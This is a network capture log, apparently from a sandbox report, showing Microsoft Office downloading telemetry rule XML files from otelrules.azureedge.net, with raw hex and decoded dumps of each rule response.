2024-11-29 22:11:34 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:33 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 438404c1-e01e-0020-72a2-42de90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221133Z-174f7845968cdxdrhC1EWRg0en00000010cg00000000mzvk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:34 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.4	49850	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:33 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:34 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:34 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 4fa988ca-e01e-000c-2c91-3f8e36000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221134Z-174f78459685m244hC1EWRgp2c000000108g00000000mga9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:34 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.4	49851	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:33 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:34 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:34 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 56901f94-d01e-002b-530d-4125fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221134Z-174f7845968pght8hC1EWRyvxg00000003t0000000000w2d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:34 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.4	49852	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:34 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:34 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:34 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 4f79ec39-601e-0070-0891-3fa0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221134Z-174f7845968kdththC1EWRzvxn0000000czg000000001q4n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:34 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.4	49853	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:34 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:35 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:34 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 5c7cfbca-b01e-0002-28f7-411b8f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221134Z-174f7845968qj8jrhC1EWRh41s00000010d000000000gcha x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:35 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.4	49854	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:35 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:36 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:36 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 1fa1d210-401e-0067-3791-3f09c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221136Z-174f7845968nxc96hC1EWRspw8000000109000000000a361 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:36 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.4	49855	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:35 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:36 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:36 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 46d93ec3-201e-005d-5b34-41afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221136Z-174f7845968j6t2phC1EWRcfe800000010k000000000phxr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:36 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.4	49856	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:36 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:36 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:36 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 41c1b425-301e-005d-48df-41e448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221136Z-174f7845968qj8jrhC1EWRh41s00000010d000000000gcnk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:36 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.4	49857	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:36 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:36 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:36 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: ba49513a-b01e-0098-68e4-41cead000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221136Z-174f7845968ljs8phC1EWRe6en00000010b000000000dv6w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:36 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.4	49858	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:36 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:37 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:37 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 11676492-b01e-003d-10f9-41d32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221137Z-174f7845968psccphC1EWRuz9s00000010pg00000000n7bm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:37 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.4	49859	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:37 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:38 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:38 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 28a5aaf6-701e-000d-6b47-416de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221138Z-174f78459685m244hC1EWRgp2c00000010fg000000000dnd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:38 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.4	49860	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:38 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:38 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:38 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: e5837872-c01e-00a1-6f26-417e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221138Z-174f7845968frfdmhC1EWRxxbw00000010fg00000000medv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:38 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.4	49861	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:38 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
